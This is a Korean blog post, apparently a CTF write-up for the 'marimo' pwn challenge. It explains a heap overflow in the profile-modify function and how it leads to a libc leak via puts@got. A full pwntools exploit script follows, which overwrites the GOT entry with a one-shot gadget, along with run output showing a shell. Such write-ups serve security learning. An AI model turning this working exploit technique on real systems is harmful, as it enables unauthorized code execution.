티스토리 뷰

다른 문제 보다가 안풀려서 잠시 쉬어갈 겸 풀어보았다.

Summary

  • heap overflow
  • pointer overwrite

Analysis

 puts("\n[V]iew my bowls");
 puts("[B]uy marimo");
 puts("[S]ell marimo");
 puts("[A]bout");
 puts("[Q]uit");
 printf(">> ");

메뉴는 이렇게 있고

입력을 받을 때 show me the marimo를 입력하면 마리모를 하나 준다. (size는 1)

원래 Buy하려면 돈이 필요한데 꽁짜로 준다 ! ㅎㅎ

마리모는 최대 15개 까지 살 수 있다.

struct marimo{
   int_32 time;
   int_32 size;
   int *name = malloc(16);
   int *profile = malloc(32);
}

마리모 구조체는 이렇게 되고 name과 profile을 입력 받는다.

  • Buy
    • 위 구조체와 같으며 name과 profile을 입력 받는다.
    • 가격은 입력받은 수 *5이다. 근데 돈이 없어서 못 사니, 위에서 만든 마리모를 팔고 사면 된다.
  • Sell
    • 마리모를 팔 수 있다.
    • 5*(size + (current_time - birth_size)) 가 가격이다. 시간에 따라 돈을 더 많이 받고 팔 수 있다.
  • View
    • bowl (마리모 구조체들) 값을 출력해준다.
    • 여기서 기존 profile값을 modify할 수 있는데, 여기서도 size를 prev_size + (current_time - birth_time)로 새로 값을 만들어준다. ㅋㅋ
    • 근데? 이 new_size*32만큼 profile을 수정할 수 있기 때문에 heap overflow가 발생한다!

Libc leak

heap overflow 취약점을 통해 뒤의 마리모 구조체의 name청크 혹은 profile청크의 주소를 got로 overwrite해주고

view해주면 got에 담겨진 libc주소가 leak된다.

Exploit

one_shot 컨디션 잘 봐가면서 다시한번 modify해 아까 바꾼 got에 원샷 가젯을 넣어준다.

from pwn import *
import time

s = process("./marimo")
e = ELF("./marimo")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level = 'debug'

s.sendlineafter(">> ", "show me the marimo")
s.sendlineafter(">> ", "hyomin")
s.sendlineafter(">> ", "profile")
#show me the money

s.sendlineafter(">> ", "S")
sleep(1)
s.sendlineafter(">> ", "0")
s.sendlineafter("?", "S")
# Sell marimo, get 15 dollars.

s.sendlineafter(">> ", "B")
s.sendlineafter(">> ", "1")
s.sendlineafter(">> ", "P")
s.sendlineafter(">> ", "chunk1_name")
s.sendlineafter(">> ", "chunk1_profile")
# buy 1cm marimo1

s.sendlineafter(">> ", "B")
s.sendlineafter(">> ", "1")
s.sendlineafter(">> ", "P")
s.sendlineafter(">> ", "chunk2_name")
s.sendlineafter(">> ", "chunk2_profile")
# buy 1cm marimo2
sleep(2)

s.sendlineafter(">> ", "V")
s.sendlineafter(">> ", "0")
s.sendlineafter(">> ", "M")


leak_payload = "A"*48 + p32(int(time.time()))+p32(1)+p64(e.got['puts'])*2

s.sendlineafter(">> ", leak_payload)

s.sendlineafter(">> ", "B")
s.sendlineafter(">> ", "V")
s.sendlineafter(">> ", "1")

s.recvuntil("birth : ")
birth = int(s.recv(10))
s.recvuntil("name : ")

libc_base = u64(s.recv(6)+"\x00\x00") - libc.symbols['puts']
magic = libc_base + 0x45216
print(hex(libc_base))


# overflow chunk1 -> chunk2 *name_chunk-> puts@got
#raw_input()
payload = p64(magic)
s.sendlineafter(">> ", "M")
#raw_input()
s.sendlineafter("Give me new profile\n>> ", payload)

s.interactive()

딱히 어렵지도 않고 재밌었다 ㅎ

hyomin@ubuntu:~/hacking/ctf/coge/pwn/marimo$ python exploit.py 
[+] Starting local process './marimo': pid 25385
[*] '/mnt/hgfs/hacking/ctf/coge/pwn/marimo/marimo'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
0x7ff5b7282000
[*] Switching to interactive mode
$ id
uid=1000(hyomin) gid=1000(hyomin) groups=1000(hyomin),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$  
Comments